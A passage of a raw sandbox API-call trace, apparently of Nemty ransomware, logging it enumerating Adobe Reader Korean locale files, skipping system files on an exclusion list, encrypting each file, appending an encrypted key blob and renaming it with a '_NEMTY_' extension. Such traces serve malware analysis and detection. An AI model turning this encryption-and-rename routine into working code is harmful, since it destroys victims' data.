lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.KOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.KOR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.599] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.KOR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.599] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.599] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.599] Sleep (dwMilliseconds=0x5) [0179.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1eb27b10, dwHighDateTime=0x1d561e8)) [0179.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1eb27b10, dwHighDateTime=0x1d561e8)) [0179.601] GetLastError () returned 0x0 [0179.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.601] GetLastError () returned 0x0 [0179.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.601] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.601] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.601] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.601] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="RBrFkMp+0Wd+b5G9J1P5/M5bJ+gPXea2NI62hiKxgnnpr7DyhhuDu2rth364hEDf\r\n7AhJWsdteNf1DLKFs5ebNN59+Z95ogzffS7GhtDtZCts1LsmNiKq3DcwG62lq7AE\r\n6oPuRA4jkyb+LHpoS3N0p3FRIoetQeV50UV1lPHmN2JlYRkAvumb7wyyxYatyxYg\r\nieS0ZNRR3YAPXlB6hnVaOt+SLriuYOhSVXaEBExnijJJqBbUwKDBEvGpsVCYx6hd\r\nk/5Ta/da8wZwoxb0oc+mjBbLPFTEK+oqI2KIP7/dsem9d4om1yOVZBAD3WHjPxW5\r\ndA8fcydpkqEWtB+hgkQdZA==\r\n", pcchString=0x653e5dc) returned 1 [0179.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.601] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.601] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.601] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\RdLang32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\rdlang32.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.602] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1022976) returned 1 [0179.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0179.602] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.602] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0179.611] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.611] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0179.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.612] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1022976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf9c00 [0179.612] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.615] CloseHandle (hObject=0x2e8) returned 1 [0179.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.616] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\RdLang32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\rdlang32.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\RdLang32.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\rdlang32.kor._nemty_kgobjgd_")) returned 1 [0179.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.616] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.KOR", cAlternateFileName="READOU~1.KOR")) returned 1 [0179.616] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2=".") returned 1 [0179.616] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="..") returned 1 [0179.616] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="...") returned 1 [0179.616] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="windows") returned -1 [0179.616] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.616] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="rsa") returned -1 [0179.617] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="NTDETECT.COM") returned 1 [0179.617] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="ntldr") returned 1 [0179.617] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="MSDOS.SYS") returned 1 [0179.617] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="IO.SYS") returned 1 [0179.617] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="boot.ini") returned 1 [0179.617] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="boot.ini") returned 1 [0179.617] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.617] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="ntuser.dat") returned 1 [0179.617] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="desktop.ini") returned 1 [0179.617] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="CONFIG.SYS") returned 1 [0179.617] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="RECYCLER") returned -1 [0179.617] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.617] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="bootmgr") returned 1 [0179.617] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="programdata") returned 1 [0179.617] lstrcmpiW (lpString1="ReadOutLoud.KOR", lpString2="appdata") returned 1 [0179.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.KOR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0179.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.KOR", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.KOR", lpUsedDefaultChar=0x0) returned 15 [0179.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.KOR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0179.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.KOR", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.KOR", lpUsedDefaultChar=0x0) returned 15 [0179.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.KOR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0179.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.KOR", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.KOR", lpUsedDefaultChar=0x0) returned 15 [0179.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.KOR", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0179.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.KOR", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.KOR", lpUsedDefaultChar=0x0) returned 15 [0179.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.618] Sleep (dwMilliseconds=0x5) [0179.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1eb73dd0, dwHighDateTime=0x1d561e8)) [0179.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1eb73dd0, dwHighDateTime=0x1d561e8)) [0179.632] GetLastError () returned 0x0 [0179.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.632] GetLastError () returned 0x0 [0179.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.632] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.632] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.632] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.632] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="qXMC9tDDLeSKke+AU4kutnlNXA5TLzmuQZ57lBpkVbJTAXbJN4Hp3QGmSDe69yVo\r\nCZsJOTu6D+o41N5jgoW9Pd2sabuWSaqeDR1gVIwdr5nW7ZLCdIBnc2lIA7dWW1xU\r\nKOetfJlaX+OpzV2nOdey031fjbVXKRfsDAB1LIfIB3csxOXWej8Q33UJAKpZsAxi\r\n1mYwDdAx1OPFMZ72r+P8AEe/bU+5GTIwdwacyFqpTUdlAw8XW/uDG8awmUnUK8M5\r\nudIZF5N+nCn1PZqGHdmeyHgGRH13JSmlXLi4Nwuwd5iUbTg26aOYEY7mzlGM/oFv\r\n/Wb1qlPI0+Q/uMPoM7k/bQ==\r\n", pcchString=0x653e5dc) returned 1 [0179.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.632] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\ReadOutLoud.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\readoutloud.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.633] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=9216) returned 1 [0179.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2400) returned 0x6352c48 [0179.633] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.633] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2400, lpOverlapped=0x0) returned 1 [0179.635] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.635] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2400, lpOverlapped=0x0) returned 1 [0179.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.635] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=9216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2400 [0179.635] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.635] CloseHandle (hObject=0x2e8) returned 1 [0179.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.635] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\ReadOutLoud.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\readoutloud.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\ReadOutLoud.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\readoutloud.kor._nemty_kgobjgd_")) returned 1 [0179.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.636] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.KOR", cAlternateFileName="")) returned 1 [0179.636] lstrcmpiW (lpString1="reflow.KOR", lpString2=".") returned 1 [0179.636] lstrcmpiW (lpString1="reflow.KOR", lpString2="..") returned 1 [0179.636] lstrcmpiW (lpString1="reflow.KOR", lpString2="...") returned 1 [0179.636] lstrcmpiW (lpString1="reflow.KOR", lpString2="windows") returned -1 [0179.636] lstrcmpiW (lpString1="reflow.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.636] lstrcmpiW (lpString1="reflow.KOR", lpString2="rsa") returned -1 [0179.636] lstrcmpiW (lpString1="reflow.KOR", lpString2="NTDETECT.COM") returned 1 [0179.636] lstrcmpiW (lpString1="reflow.KOR", lpString2="ntldr") returned 1 [0179.636] lstrcmpiW (lpString1="reflow.KOR", lpString2="MSDOS.SYS") returned 1 [0179.636] lstrcmpiW (lpString1="reflow.KOR", lpString2="IO.SYS") returned 1 [0179.636] lstrcmpiW (lpString1="reflow.KOR", lpString2="boot.ini") returned 1 [0179.637] lstrcmpiW (lpString1="reflow.KOR", 